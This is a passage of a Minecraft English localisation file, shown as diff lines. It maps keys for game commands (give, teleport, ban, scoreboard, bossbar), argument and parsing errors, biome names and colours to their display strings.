"commands.experience.add.levels.success.multiple": "Gave %s experience levels to %s players", + "commands.experience.set.points.success.single": "Set %s experience points on %s", + "commands.experience.set.points.success.multiple": "Set %s experience points on %s players", + "commands.experience.set.levels.success.single": "Set %s experience levels on %s", + "commands.experience.set.levels.success.multiple": "Set %s experience levels on %s players", + "commands.experience.query.points": "%s has %s experience points", + "commands.experience.query.levels": "%s has %s experience levels", + "commands.fill.success": "Successfully filled %s blocks", + "commands.function.success.single": "Executed %s commands from function '%s'", + "commands.function.success.multiple": "Executed %s commands from %s functions", + "commands.give.success.single": "Gave %s %s to %s", + "commands.give.success.multiple": "Gave %s %s to %s players", + "commands.playsound.success.single": "Played sound %s to %s", + "commands.playsound.success.multiple": "Played sound %s to %s players", + "commands.publish.success": "Multiplayer game is now hosted on port %s", + "commands.list.players": "There are %s of a max of %s players online: %s", + "commands.list.nameAndId": "%s (%s)", + "commands.kill.success.single": "Killed %s", + "commands.kill.success.multiple": "Killed %s entities", + "commands.kick.success": "Kicked %s: %s", + "commands.locate.success": "The nearest %s is at %s (%s blocks away)", + "commands.locatebiome.success": "The nearest %s is at %s (%s blocks away)", + "commands.message.display.outgoing": "You whisper to %s: %s", + "commands.message.display.incoming": "%s whispers to you: %s", + "commands.op.success": "Made %s a server operator", + "commands.deop.success": "Made %s no longer a server operator", + "commands.ban.success": "Banned %s: %s", + "commands.pardon.success": "Unbanned %s", + "commands.particle.success": "Displaying particle %s", + "commands.seed.success": "Seed: %s", + "commands.stop.stopping": "Stopping the server", + "commands.time.query": "The time is %s", + "commands.time.set": "Set the time to %s", + "commands.schedule.created.function": "Scheduled function '%s' in %s ticks at gametime %s", + "commands.schedule.created.tag": "Scheduled tag '%s' in %s ticks at gametime %s", + "commands.schedule.cleared.success": "Removed %s schedules with id %s", + "commands.schedule.cleared.failure": "No schedules with id %s", + "commands.schedule.same_tick": "Can't schedule for current tick", + "commands.gamemode.success.self": "Set own game mode to %s", + "commands.gamemode.success.other": "Set %s's game mode to %s", + "commands.gamerule.query": "Gamerule %s is currently set to: %s", + "commands.gamerule.set": "Gamerule %s is now set to: %s", + "commands.save.disabled": "Automatic saving is now disabled", + "commands.save.enabled": "Automatic saving is now enabled", + "commands.save.saving": "Saving the game (this may take a moment!)", + "commands.save.success": "Saved the game", + "commands.setidletimeout.success": "The player idle timeout is now %s minutes", + "commands.banlist.none": "There are no bans", + "commands.banlist.list": "There are %s bans:", + "commands.banlist.entry": "%s was banned by %s: %s", + "commands.bossbar.create.success": "Created custom bossbar %s", + "commands.bossbar.remove.success": "Removed custom bossbar %s", + "commands.bossbar.list.bars.none": "There are no custom bossbars active", + "commands.bossbar.list.bars.some": "There are %s custom bossbars active: %s", + "commands.bossbar.set.players.success.none": "Custom bossbar %s no longer has any players", + "commands.bossbar.set.players.success.some": "Custom bossbar %s now has %s players: %s", + "commands.bossbar.set.name.success": "Custom bossbar %s has been renamed", + "commands.bossbar.set.color.success": "Custom bossbar %s has changed color", + "commands.bossbar.set.style.success": "Custom bossbar %s has changed style", + "commands.bossbar.set.value.success": "Custom bossbar %s has changed value to %s", + "commands.bossbar.set.max.success": "Custom bossbar %s has changed maximum to %s", + "commands.bossbar.set.visible.success.visible": "Custom bossbar %s is now visible", + "commands.bossbar.set.visible.success.hidden": "Custom bossbar %s is now hidden", + "commands.bossbar.get.value": "Custom bossbar %s has a value of %s", + "commands.bossbar.get.max": "Custom bossbar %s has a maximum of %s", + "commands.bossbar.get.visible.visible": "Custom bossbar %s is currently shown", + "commands.bossbar.get.visible.hidden": "Custom bossbar %s is currently hidden", + "commands.bossbar.get.players.none": "Custom bossbar %s has no players currently online", + "commands.bossbar.get.players.some": "Custom bossbar %s has %s players currently online: %s", + "commands.recipe.give.success.single": "Unlocked %s recipes for %s", + "commands.recipe.give.success.multiple": "Unlocked %s recipes for %s players", + "commands.recipe.take.success.single": "Took %s recipes from %s", + "commands.recipe.take.success.multiple": "Took %s recipes from %s players", + "commands.summon.success": "Summoned new %s", + "commands.whitelist.enabled": "Whitelist is now turned on", + "commands.whitelist.disabled": "Whitelist is now turned off", + "commands.whitelist.none": "There are no whitelisted players", + "commands.whitelist.list": "There are %s whitelisted players: %s", + "commands.whitelist.add.success": "Added %s to the whitelist", + "commands.whitelist.remove.success": "Removed %s from the whitelist", + "commands.whitelist.reloaded": "Reloaded the whitelist", + "commands.weather.set.clear": "Set the weather to clear", + "commands.weather.set.rain": "Set the weather to rain", + "commands.weather.set.thunder": "Set the weather to rain & thunder", + "commands.spawnpoint.success.single": "Set spawn point to %s, %s, %s [%s] in %s for %s", + "commands.spawnpoint.success.multiple": "Set spawn point to %s, %s, %s [%s] in %s for %s players", + "commands.stopsound.success.source.sound": "Stopped sound '%s' on source '%s'", + "commands.stopsound.success.source.any": "Stopped all '%s' sounds", + "commands.stopsound.success.sourceless.sound": "Stopped sound '%s'", + "commands.stopsound.success.sourceless.any": "Stopped all sounds", + "commands.setworldspawn.success": "Set the world spawn point to %s, %s, %s [%s]", + "commands.spreadplayers.success.teams": "Spread %s teams around %s, %s with an average distance of %s blocks apart", + "commands.spreadplayers.success.entities": "Spread %s players around %s, %s with an average distance of %s blocks apart", + "commands.setblock.success": "Changed the block at %s, %s, %s", + "commands.banip.success": "Banned IP %s: %s", + "commands.banip.info": "This ban affects %s players: %s", + "commands.pardonip.success": "Unbanned IP %s", + "commands.teleport.success.entity.single": "Teleported %s to %s", + "commands.teleport.success.entity.multiple": "Teleported %s entities to %s", + "commands.teleport.success.location.single": "Teleported %s to %s, %s, %s", + "commands.teleport.success.location.multiple": "Teleported %s entities to %s, %s, %s", + "commands.teleport.invalidPosition": "Invalid position for teleport", + "commands.title.cleared.single": "Cleared titles for %s", + "commands.title.cleared.multiple": "Cleared titles for %s players", + "commands.title.reset.single": "Reset title options for %s", + "commands.title.reset.multiple": "Reset title options for %s players", + "commands.title.show.title.single": "Showing new title for %s", + "commands.title.show.title.multiple": "Showing new title for %s players", + "commands.title.show.subtitle.single": "Showing new subtitle for %s", + "commands.title.show.subtitle.multiple": "Showing new subtitle for %s players", + "commands.title.show.actionbar.single": "Showing new actionbar title for %s", + "commands.title.show.actionbar.multiple": "Showing new actionbar title for %s players", + "commands.title.times.single": "Changed title display times for %s", + "commands.title.times.multiple": "Changed title display times for %s players", + "commands.worldborder.set.grow": "Growing the world border to %s blocks wide over %s seconds", + "commands.worldborder.set.shrink": "Shrinking the world border to %s blocks wide over %s seconds", + "commands.worldborder.set.immediate": "Set the world border to %s blocks wide", + "commands.worldborder.center.success": "Set the center of the world border to %s, %s", + "commands.worldborder.get": "The world border is currently %s blocks wide", + "commands.worldborder.damage.buffer.success": "Set the world border damage buffer to %s blocks", + "commands.worldborder.damage.amount.success": "Set the world border damage to %s per block each second", + "commands.worldborder.warning.time.success": "Set the world border warning time to %s seconds", + "commands.worldborder.warning.distance.success": "Set the world border warning distance to %s blocks", + "commands.replaceitem.block.success": "Replaced a slot at %s, %s, %s with %s", + "commands.replaceitem.entity.success.single": "Replaced a slot on %s with %s", + "commands.replaceitem.entity.success.multiple": "Replaced a slot on %s entities with %s", + "commands.tag.add.success.single": "Added tag '%s' to %s", + "commands.tag.add.success.multiple": "Added tag '%s' to %s entities", + "commands.tag.remove.success.single": "Removed tag '%s' from %s", + "commands.tag.remove.success.multiple": "Removed tag '%s' from %s entities", + "commands.tag.list.single.empty": "%s has no tags", + "commands.tag.list.single.success": "%s has %s tags: %s", + "commands.tag.list.multiple.empty": "There are no tags on the %s entities", + "commands.tag.list.multiple.success": "The %s entities have %s total tags: %s", + "commands.team.list.members.empty": "There are no members on team %s", + "commands.team.list.members.success": "Team %s has %s members: %s", + "commands.team.list.teams.empty": "There are no teams", + "commands.team.list.teams.success": "There are %s teams: %s", + "commands.team.add.success": "Created team %s", + "commands.team.remove.success": "Removed team %s", + "commands.team.empty.success": "Removed %s members from team %s", + "commands.team.option.color.success": "Updated the color for team %s to %s", + "commands.team.option.name.success": "Updated the name of team %s", + "commands.team.option.friendlyfire.enabled": "Enabled friendly fire for team %s", + "commands.team.option.friendlyfire.disabled": "Disabled friendly fire for team %s", + "commands.team.option.seeFriendlyInvisibles.enabled": "Team %s can now see invisible teammates", + "commands.team.option.seeFriendlyInvisibles.disabled": "Team %s can no longer see invisible teammates", + "commands.team.option.nametagVisibility.success": "Nametag visibility for team %s is now \"%s\"", + "commands.team.option.deathMessageVisibility.success": "Death message visibility for team %s is now \"%s\"", + "commands.team.option.collisionRule.success": "Collision rule for team %s is now \"%s\"", + "commands.team.option.prefix.success": "Team prefix set to %s", + "commands.team.option.suffix.success": "Team suffix set to %s", + "commands.team.join.success.single": "Added %s to team %s", + "commands.team.join.success.multiple": "Added %s members to team %s", + "commands.team.leave.success.single": "Removed %s from any team", + "commands.team.leave.success.multiple": "Removed %s members from any team", + "commands.trigger.simple.success": "Triggered %s", + "commands.trigger.add.success": "Triggered %s (added %s to value)", + "commands.trigger.set.success": "Triggered %s (set value to %s)", + "commands.scoreboard.objectives.list.empty": "There are no objectives", + "commands.scoreboard.objectives.list.success": "There are %s objectives: %s", + "commands.scoreboard.objectives.add.success": "Created new objective %s", + "commands.scoreboard.objectives.remove.success": "Removed objective %s", + "commands.scoreboard.objectives.display.cleared": "Cleared any objectives in display slot %s", + "commands.scoreboard.objectives.display.set": "Set display slot %s to show objective %s", + "commands.scoreboard.objectives.modify.displayname": "Changed the display name of %s to %s", + "commands.scoreboard.objectives.modify.rendertype": "Changed the render type of objective %s", + "commands.scoreboard.players.list.empty": "There are no tracked entities", + "commands.scoreboard.players.list.success": "There are %s tracked entities: %s", + "commands.scoreboard.players.list.entity.empty": "%s has no scores to show", + "commands.scoreboard.players.list.entity.success": "%s has %s scores:", + "commands.scoreboard.players.list.entity.entry": "%s: %s", + "commands.scoreboard.players.set.success.single": "Set %s for %s to %s", + "commands.scoreboard.players.set.success.multiple": "Set %s for %s entities to %s", + "commands.scoreboard.players.add.success.single": "Added %s to %s for %s (now %s)", + "commands.scoreboard.players.add.success.multiple": "Added %s to %s for %s entities", + "commands.scoreboard.players.remove.success.single": "Removed %s from %s for %s (now %s)", + "commands.scoreboard.players.remove.success.multiple": "Removed %s from %s for %s entities", + "commands.scoreboard.players.reset.all.single": "Reset all scores for %s", + "commands.scoreboard.players.reset.all.multiple": "Reset all scores for %s entities", + "commands.scoreboard.players.reset.specific.single": "Reset %s for %s", + "commands.scoreboard.players.reset.specific.multiple": "Reset %s for %s entities", + "commands.scoreboard.players.enable.success.single": "Enabled trigger %s for %s", + "commands.scoreboard.players.enable.success.multiple": "Enabled trigger %s for %s entities", + "commands.scoreboard.players.operation.success.single": "Set %s for %s to %s", + "commands.scoreboard.players.operation.success.multiple": "Updated %s for %s entities", + "commands.scoreboard.players.get.success": "%s has %s %s", + "commands.reload.success": "Reloading!", + "commands.reload.failure": "Reload failed; keeping old data", + "commands.data.entity.modified": "Modified entity data of %s", + "commands.data.entity.query": "%s has the following entity data: %s", + "commands.data.entity.get": "%s on %s after scale factor of %s is %s", + "commands.data.block.modified": "Modified block data of %s, %s, %s", + "commands.data.block.query": "%s, %s, %s has the following block data: %s", + "commands.data.block.get": "%s on block %s, %s, %s after scale factor of %s is %s", + "commands.data.storage.modified": "Modified storage %s", + "commands.data.storage.query": "Storage %s has the following contents: %s", + "commands.data.storage.get": "%s in storage %s after scale factor of %s is %s", + "commands.datapack.list.enabled.success": "There are %s data packs enabled: %s", + "commands.datapack.list.enabled.none": "There are no data packs enabled", + "commands.datapack.list.available.success": "There are %s data packs available: %s", + "commands.datapack.list.available.none": "There are no more data packs available", + "commands.datapack.modify.enable": "Enabling data pack %s", + "commands.datapack.modify.disable": "Disabling data pack %s", + "commands.spectate.success.stopped": "No longer spectating an entity", + "commands.spectate.success.started": "Now spectating %s", + "commands.spectate.not_spectator": "%s is not in spectator mode", + "commands.spectate.self": "Cannot spectate yourself", + "argument.range.empty": "Expected value or range of values", + "argument.range.ints": "Only whole numbers allowed, not decimals", + "argument.range.swapped": "Min cannot be bigger than max", + "permissions.requires.player": "A player is required to run this command here", + "permissions.requires.entity": "An entity is required to run this command here", + "argument.angle.incomplete": "Incomplete (expected 1 angle)", + "argument.entity.toomany": "Only one entity is allowed, but the provided selector allows more than one", + "argument.player.toomany": "Only one player is allowed, but the provided selector allows more than one", + "argument.player.entities": "Only players may be affected by this command, but the provided selector includes entities", + "argument.entity.notfound.entity": "No entity was found", + "argument.entity.notfound.player": "No player was found", + "argument.player.unknown": "That player does not exist", + "arguments.nbtpath.node.invalid": "Invalid NBT path element", + "arguments.nbtpath.nothing_found": "Found no elements matching %s", + "arguments.operation.invalid": "Invalid operation", + "arguments.operation.div0": "Cannot divide by zero", + "argument.scoreHolder.empty": "No relevant score holders could be found", + "argument.block.tag.disallowed": "Tags aren't allowed here, only actual blocks", + "argument.block.property.unclosed": "Expected closing ] for block state properties", + "argument.pos.unloaded": "That position is not loaded", + "argument.pos.outofworld": "That position is out of this world!", + "argument.rotation.incomplete": "Incomplete (expected 2 coordinates)", + "arguments.swizzle.invalid": "Invalid swizzle, expected combination of 'x', 'y' and 'z'", + "argument.pos2d.incomplete": "Incomplete (expected 2 coordinates)", + "argument.pos3d.incomplete": "Incomplete (expected 3 coordinates)", + "argument.pos.mixed": "Cannot mix world & local coordinates (everything must either use ^ or not)", + "argument.pos.missing.double": "Expected a coordinate", + "argument.pos.missing.int": "Expected a block position", + "argument.item.tag.disallowed": "Tags aren't allowed here, only actual items", + "argument.entity.invalid": "Invalid name or UUID", + "argument.entity.selector.missing": "Missing selector type", + "argument.entity.selector.not_allowed": "Selector not allowed", + "argument.entity.options.unterminated": "Expected end of options", + "argument.entity.options.distance.negative": "Distance cannot be negative", + "argument.entity.options.level.negative": "Level shouldn't be negative", + "argument.entity.options.limit.toosmall": "Limit must be at least 1", + "argument.nbt.trailing": "Unexpected trailing data", + "argument.nbt.expected.key": "Expected key", + "argument.nbt.expected.value": "Expected value", + "argument.id.invalid": "Invalid ID", + "argument.time.invalid_unit": "Invalid unit", + "argument.time.invalid_tick_count": "Tick count must be non-negative", + "commands.banip.invalid": "Invalid IP address or unknown player", + "commands.banip.failed": "Nothing changed. That IP is already banned", + "commands.ban.failed": "Nothing changed. The player is already banned", + "commands.bossbar.set.players.unchanged": "Nothing changed. Those players are already on the bossbar with nobody to add or remove", + "commands.bossbar.set.name.unchanged": "Nothing changed. That's already the name of this bossbar", + "commands.bossbar.set.color.unchanged": "Nothing changed. That's already the color of this bossbar", + "commands.bossbar.set.style.unchanged": "Nothing changed. That's already the style of this bossbar", + "commands.bossbar.set.value.unchanged": "Nothing changed. That's already the value of this bossbar", + "commands.bossbar.set.max.unchanged": "Nothing changed. That's already the max of this bossbar", + "commands.bossbar.set.visibility.unchanged.hidden": "Nothing changed. The bossbar is already hidden", + "commands.bossbar.set.visibility.unchanged.visible": "Nothing changed. The bossbar is already visible", + "commands.clone.overlap": "The source and destination areas cannot overlap", + "commands.clone.failed": "No blocks were cloned", + "commands.debug.notRunning": "The debug profiler hasn't started", + "commands.debug.alreadyRunning": "The debug profiler is already started", + "commands.deop.failed": "Nothing changed. The player is not an operator", + "commands.effect.give.failed": "Unable to apply this effect (target is either immune to effects, or has something stronger)", + "commands.effect.clear.everything.failed": "Target has no effects to remove", + "commands.effect.clear.specific.failed": "Target doesn't have the requested effect", + "commands.enchant.failed": "Nothing changed. Targets either have no item in their hands or the enchantment could not be applied", + "commands.experience.set.points.invalid": "Cannot set experience points above the maximum points for the player's current level", + "commands.fill.failed": "No blocks were filled", + "commands.help.failed": "Unknown command or insufficient permissions", + "commands.locate.failed": "Could not find that structure nearby", + "commands.locatebiome.notFound": "Could not find a biome of type \"%s\" within reasonable distance", + "commands.locatebiome.invalid": "There is no biome with type \"%s\"", + "commands.op.failed": "Nothing changed. The player already is an operator", + "commands.pardon.failed": "Nothing changed. The player isn't banned", + "commands.pardonip.invalid": "Invalid IP address", + "commands.pardonip.failed": "Nothing changed. That IP isn't banned", + "commands.particle.failed": "The particle was not visible for anybody", + "commands.playsound.failed": "The sound is too far away to be heard", + "commands.recipe.give.failed": "No new recipes were learned", + "commands.recipe.take.failed": "No recipes could be forgotten", + "commands.replaceitem.block.failed": "The target block is not a container", + "commands.replaceitem.slot.inapplicable": "The target does not have slot %s", + "commands.replaceitem.entity.failed": "Could not put %s in slot %s", + "commands.save.failed": "Unable to save the game (is there enough disk space?)", + "commands.save.alreadyOff": "Saving is already turned off", + "commands.save.alreadyOn": "Saving is already turned on", + "commands.scoreboard.objectives.add.duplicate": "An objective already exists by that name", + "commands.scoreboard.objectives.display.alreadyEmpty": "Nothing changed. That display slot is already empty", + "commands.scoreboard.objectives.display.alreadySet": "Nothing changed. That display slot is already showing that objective", + "commands.scoreboard.players.enable.failed": "Nothing changed. That trigger is already enabled", + "commands.scoreboard.players.enable.invalid": "Enable only works on trigger-objectives", + "commands.setblock.failed": "Could not set the block", + "commands.summon.failed": "Unable to summon entity", + "commands.summon.failed.uuid": "Unable to summon entity due to duplicate UUIDs", + "commands.summon.invalidPosition": "Invalid position for summon", + "commands.tag.add.failed": "Target either already has the tag or has too many tags", + "commands.tag.remove.failed": "Target does not have this tag", + "commands.team.add.duplicate": "A team already exists by that name", + "commands.team.empty.unchanged": "Nothing changed. That team is already empty", + "commands.team.option.color.unchanged": "Nothing changed. That team already has that color", + "commands.team.option.name.unchanged": "Nothing changed. That team already has that name", + "commands.team.option.friendlyfire.alreadyEnabled": "Nothing changed. Friendly fire is already enabled for that team", + "commands.team.option.friendlyfire.alreadyDisabled": "Nothing changed. Friendly fire is already disabled for that team", + "commands.team.option.seeFriendlyInvisibles.alreadyEnabled": "Nothing changed. That team can already see invisible teammates", + "commands.team.option.seeFriendlyInvisibles.alreadyDisabled": "Nothing changed. That team already can't see invisible teammates", + "commands.team.option.nametagVisibility.unchanged": "Nothing changed. Nametag visibility is already that value", + "commands.team.option.deathMessageVisibility.unchanged": "Nothing changed. Death message visibility is already that value", + "commands.team.option.collisionRule.unchanged": "Nothing changed. Collision rule is already that value", + "commands.trigger.failed.unprimed": "You cannot trigger this objective yet", + "commands.trigger.failed.invalid": "You can only trigger objectives that are 'trigger' type", + "commands.whitelist.alreadyOn": "Whitelist is already turned on", + "commands.whitelist.alreadyOff": "Whitelist is already turned off", + "commands.whitelist.add.failed": "Player is already whitelisted", + "commands.whitelist.remove.failed": "Player is not whitelisted", + "commands.worldborder.center.failed": "Nothing changed. The world border is already centered there", + "commands.worldborder.set.failed.nochange": "Nothing changed. The world border is already that size", + "commands.worldborder.set.failed.small.": "World border cannot be smaller than 1 block wide", + "commands.worldborder.set.failed.big.": "World border cannot be bigger than 60,000,000 blocks wide", + "commands.worldborder.warning.time.failed": "Nothing changed. The world border warning is already that amount of time", + "commands.worldborder.warning.distance.failed": "Nothing changed. The world border warning is already that distance", + "commands.worldborder.damage.buffer.failed": "Nothing changed. The world border damage buffer is already that distance", + "commands.worldborder.damage.amount.failed": "Nothing changed. The world border damage is already that amount", + "commands.data.block.invalid": "The target block is not a block entity", + "commands.data.merge.failed": "Nothing changed. The specified properties already have these values", + "commands.data.modify.expected_list": "Expected list, got: %s", + "commands.data.modify.expected_object": "Expected object, got: %s", + "commands.data.modify.invalid_index": "Invalid list index: %s", + "commands.data.get.multiple": "This argument accepts a single NBT value", + "commands.data.entity.invalid": "Unable to modify player data", + "commands.teammsg.failed.noteam": "You must be on a team to message your team", + "argument.color.invalid": "Unknown color '%s'", + "argument.dimension.invalid": "Unknown dimension '%s'", + "argument.component.invalid": "Invalid chat component: %s", + "argument.anchor.invalid": "Invalid entity anchor position %s", + "enchantment.unknown": "Unknown enchantment: %s", + "lectern.take_book": "Take Book", + "effect.effectNotFound": "Unknown effect: %s", + "arguments.objective.notFound": "Unknown scoreboard objective '%s'", + "arguments.objective.readonly": "Scoreboard objective '%s' is read-only", + "commands.scoreboard.objectives.add.longName": "Objective names cannot be longer than %s characters", + "argument.criteria.invalid": "Unknown criterion '%s'", + "particle.notFound": "Unknown particle: %s", + "argument.id.unknown": "Unknown ID: %s", + "advancement.advancementNotFound": "Unknown advancement: %s", + "recipe.notFound": "Unknown recipe: %s", + "entity.notFound": "Unknown entity: %s", + "predicate.unknown": "Unknown predicate: %s", + "argument.scoreboardDisplaySlot.invalid": "Unknown display slot '%s'", + "slot.unknown": "Unknown slot '%s'", + "team.notFound": "Unknown team '%s'", + "arguments.block.tag.unknown": "Unknown block tag '%s'", + "argument.block.id.invalid": "Unknown block type '%s'", + "argument.block.property.unknown": "Block %s does not have property '%s'", + "argument.block.property.duplicate": "Property '%s' can only be set once for block %s", + "argument.block.property.invalid": "Block %s does not accept '%s' for %s property", + "argument.block.property.novalue": "Expected value for property '%s' on block %s", + "arguments.function.tag.unknown": "Unknown function tag '%s'", + "arguments.function.unknown": "Unknown function %s", + "arguments.item.overstacked": "%s can only stack up to %s", + "argument.item.id.invalid": "Unknown item '%s'", + "arguments.item.tag.unknown": "Unknown item tag '%s'", + "argument.entity.selector.unknown": "Unknown selector type '%s'", + "argument.entity.options.valueless": "Expected value for option '%s'", + "argument.entity.options.unknown": "Unknown option '%s'", + "argument.entity.options.inapplicable": "Option '%s' isn't applicable here", + "argument.entity.options.sort.irreversible": "Invalid or unknown sort type '%s'", + "argument.entity.options.mode.invalid": "Invalid or unknown game mode '%s'", + "argument.entity.options.type.invalid": "Invalid or unknown entity type '%s'", + "argument.nbt.list.mixed": "Can't insert %s into list of %s", + "argument.nbt.array.mixed": "Can't insert %s into %s", + "argument.nbt.array.invalid": "Invalid array type '%s'", + "commands.bossbar.create.failed": "A bossbar already exists with the ID '%s'", + "commands.bossbar.unknown": "No bossbar exists with the ID '%s'", + "clear.failed.single": "No items were found on player %s", + "clear.failed.multiple": "No items were found on %s players", + "commands.clone.toobig": "Too many blocks in the specified area (maximum %s, specified %s)", + "commands.datapack.unknown": "Unknown data pack '%s'", + "commands.datapack.enable.failed": "Pack '%s' is already enabled!", + "commands.datapack.disable.failed": "Pack '%s' is not enabled!", + "commands.difficulty.failure": "The difficulty did not change; it is already set to %s", + "commands.enchant.failed.entity": "%s is not a valid entity for this command", + "commands.enchant.failed.itemless": "%s is not holding any item", + "commands.enchant.failed.incompatible": "%s cannot support that enchantment", + "commands.enchant.failed.level": "%s is higher than the maximum level of %s supported by that enchantment", + "commands.execute.blocks.toobig": "Too many blocks in the specified area (maximum %s, specified %s)", + "commands.execute.conditional.pass": "Test passed", + "commands.execute.conditional.pass_count": "Test passed, count: %s", + "commands.execute.conditional.fail": "Test failed", + "commands.execute.conditional.fail_count": "Test failed, count: %s", + "commands.fill.toobig": "Too many blocks in the specified area (maximum %s, specified %s)", + "commands.publish.alreadyPublished": "Multiplayer game is already hosted on port %s", + "commands.scoreboard.players.get.null": "Can't get value of %s for %s; none is set", + "commands.spreadplayers.failed.teams": "Could not spread %s teams around %s, %s (too many entities for space - try using spread of at most %s)", + "commands.spreadplayers.failed.entities": "Could not spread %s entities around %s, %s (too many entities for space - try using spread of at most %s)", + "commands.team.add.longName": "Team names cannot be longer than %s characters", + "commands.data.get.invalid": "Can't get %s; only numeric tags are allowed", + "commands.data.get.unknown": "Can't get %s; tag doesn't exist", + "argument.double.low": "Double must not be less than %s, found %s", + "argument.double.big": "Double must not be more than %s, found %s", + "argument.float.low": "Float must not be less than %s, found %s", + "argument.float.big": "Float must not be more than %s, found %s", + "argument.integer.low": "Integer must not be less than %s, found %s", + "argument.integer.big": "Integer must not be more than %s, found %s", + "argument.long.low": "Long must not be less than %s, found %s", + "argument.long.big": "Long must not be more than %s, found %s", + "argument.literal.incorrect": "Expected literal %s", + "parsing.quote.expected.start": "Expected quote to start a string", + "parsing.quote.expected.end": "Unclosed quoted string", + "parsing.quote.escape": "Invalid escape sequence '\\%s' in quoted string", + "parsing.bool.invalid": "Invalid boolean, expected 'true' or 'false' but found '%s'", + "parsing.int.invalid": "Invalid integer '%s'", + "parsing.int.expected": "Expected integer", + "parsing.long.invalid": "Invalid long '%s'", + "parsing.long.expected": "Expected long", + "command.exception": "Could not parse command: %s", + "parsing.double.invalid": "Invalid double '%s'", + "parsing.double.expected": "Expected double", + "parsing.float.invalid": "Invalid float '%s'", + "parsing.float.expected": "Expected float", + "parsing.bool.expected": "Expected boolean", + "parsing.expected": "Expected '%s'", + "command.unknown.command": "Unknown or incomplete command, see below for error", + "command.unknown.argument": "Incorrect argument for command", + "command.expected.separator": "Expected whitespace to end one argument, but found trailing data", + "biome.minecraft.beach": "Beach", + "biome.minecraft.birch_forest": "Birch Forest", + "biome.minecraft.birch_forest_hills": "Birch Forest Hills", + "biome.minecraft.snowy_beach": "Snowy Beach", + "biome.minecraft.cold_ocean": "Cold Ocean", + "biome.minecraft.deep_cold_ocean": "Deep Cold Ocean", + "biome.minecraft.deep_frozen_ocean": "Deep Frozen Ocean", + "biome.minecraft.deep_lukewarm_ocean": "Deep Lukewarm Ocean", + "biome.minecraft.deep_ocean": "Deep Ocean", + "biome.minecraft.deep_warm_ocean": "Deep Warm Ocean", + "biome.minecraft.desert": "Desert", + "biome.minecraft.desert_hills": "Desert Hills", + "biome.minecraft.mountains": "Mountains", + "biome.minecraft.wooded_mountains": "Wooded Mountains", + "biome.minecraft.forest": "Forest", + "biome.minecraft.wooded_hills": "Wooded Hills", + "biome.minecraft.frozen_ocean": "Frozen Ocean", + "biome.minecraft.frozen_river": "Frozen River", + "biome.minecraft.nether_wastes": "Nether Wastes", + "biome.minecraft.snowy_tundra": "Snowy Tundra", + "biome.minecraft.snowy_mountains": "Snowy Mountains", + "biome.minecraft.jungle_edge": "Jungle Edge", + "biome.minecraft.jungle_hills": "Jungle Hills", + "biome.minecraft.jungle": "Jungle", + "biome.minecraft.lukewarm_ocean": "Lukewarm Ocean", + "biome.minecraft.badlands_plateau": "Badlands Plateau", + "biome.minecraft.badlands": "Badlands", + "biome.minecraft.wooded_badlands_plateau": "Wooded Badlands Plateau", + "biome.minecraft.mushroom_fields": "Mushroom Fields", + "biome.minecraft.mushroom_field_shore": "Mushroom Field Shore", + "biome.minecraft.tall_birch_hills": "Tall Birch Hills", + "biome.minecraft.tall_birch_forest": "Tall Birch Forest", + "biome.minecraft.desert_lakes": "Desert Lakes", + "biome.minecraft.gravelly_mountains": "Gravelly Mountains", + "biome.minecraft.modified_gravelly_mountains": "Gravelly Mountains+", + "biome.minecraft.flower_forest": "Flower Forest", + "biome.minecraft.ice_spikes": "Ice Spikes", + "biome.minecraft.modified_jungle_edge": "Modified Jungle Edge", + "biome.minecraft.modified_jungle": "Modified Jungle", + "biome.minecraft.modified_badlands_plateau": "Modified Badlands Plateau", + "biome.minecraft.eroded_badlands": "Eroded Badlands", + "biome.minecraft.modified_wooded_badlands_plateau": "Modified Wooded Badlands Plateau", + "biome.minecraft.sunflower_plains": "Sunflower Plains", + "biome.minecraft.giant_spruce_taiga_hills": "Giant Spruce Taiga Hills", + "biome.minecraft.giant_spruce_taiga": "Giant Spruce Taiga", + "biome.minecraft.dark_forest_hills": "Dark Forest Hills", + "biome.minecraft.shattered_savanna": "Shattered Savanna", + "biome.minecraft.shattered_savanna_plateau": "Shattered Savanna Plateau", + "biome.minecraft.swamp_hills": "Swamp Hills", + "biome.minecraft.snowy_taiga_mountains": "Snowy Taiga Mountains", + "biome.minecraft.taiga_mountains": "Taiga Mountains", + "biome.minecraft.ocean": "Ocean", + "biome.minecraft.plains": "Plains", + "biome.minecraft.giant_tree_taiga_hills": "Giant Tree Taiga Hills", + "biome.minecraft.giant_tree_taiga": "Giant Tree Taiga", + "biome.minecraft.river": "River", + "biome.minecraft.dark_forest": "Dark Forest", + "biome.minecraft.savanna_plateau": "Savanna Plateau", + "biome.minecraft.savanna": "Savanna", + "biome.minecraft.end_barrens": "End Barrens", + "biome.minecraft.end_highlands": "End Highlands", + "biome.minecraft.small_end_islands": "Small End Islands", + "biome.minecraft.end_midlands": "End Midlands", + "biome.minecraft.the_end": "The End", + "biome.minecraft.mountain_edge": "Mountain Edge", + "biome.minecraft.stone_shore": "Stone Shore", + "biome.minecraft.swamp": "Swamp", + "biome.minecraft.snowy_taiga": "Snowy Taiga", + "biome.minecraft.snowy_taiga_hills": "Snowy Taiga Hills", + "biome.minecraft.taiga_hills": "Taiga Hills", + "biome.minecraft.taiga": "Taiga", + "biome.minecraft.the_void": "The Void", + "biome.minecraft.warm_ocean": "Warm Ocean", + "biome.minecraft.bamboo_jungle": "Bamboo Jungle", + "biome.minecraft.bamboo_jungle_hills": "Bamboo Jungle Hills", + "biome.minecraft.soul_sand_valley": "Soul Sand Valley", + "biome.minecraft.warped_forest": "Warped Forest", + "biome.minecraft.crimson_forest": "Crimson Forest", + "biome.minecraft.basalt_deltas": "Basalt Deltas", + "realms.missing.module.error.text": "Realms could not be opened right now, please try again later", + "realms.missing.snapshot.error.text": "Realms is currently not supported in snapshots", + "color.minecraft.white": "White", + "color.minecraft.orange": "Orange", + "color.minecraft.magenta": "Magenta", + "color.minecraft.light_blue": "Light Blue", + "color.minecraft.yellow": "Yellow", + "color.minecraft.lime": "Lime", + "color.minecraft.pink": "Pink", + "color.minecraft.gray": "Gray", + "color.minecraft.light_gray": "Light Gray", + "color.minecraft.cyan": "Cyan", + "color.minecraft.purple": "Purple", + "color.minecraft.blue": "Blue", + "color.minecraft.brown": "Brown", + "color.minecraft.green": "Green", + "color.minecraft.red": "Red", + "color.minecraft.black": "Black", + "title.singleplayer": "Singleplayer", + "title.multiplayer.realms": "Multiplayer (Realms)", + "title.multiplayer.lan": "Multiplayer (LAN)", + "title.multiplayer.other": "Multiplayer (3rd-party Server)", + "gamerule.announceAdvancements": "Announce advancements", + "gamerule.commandBlockOutput": 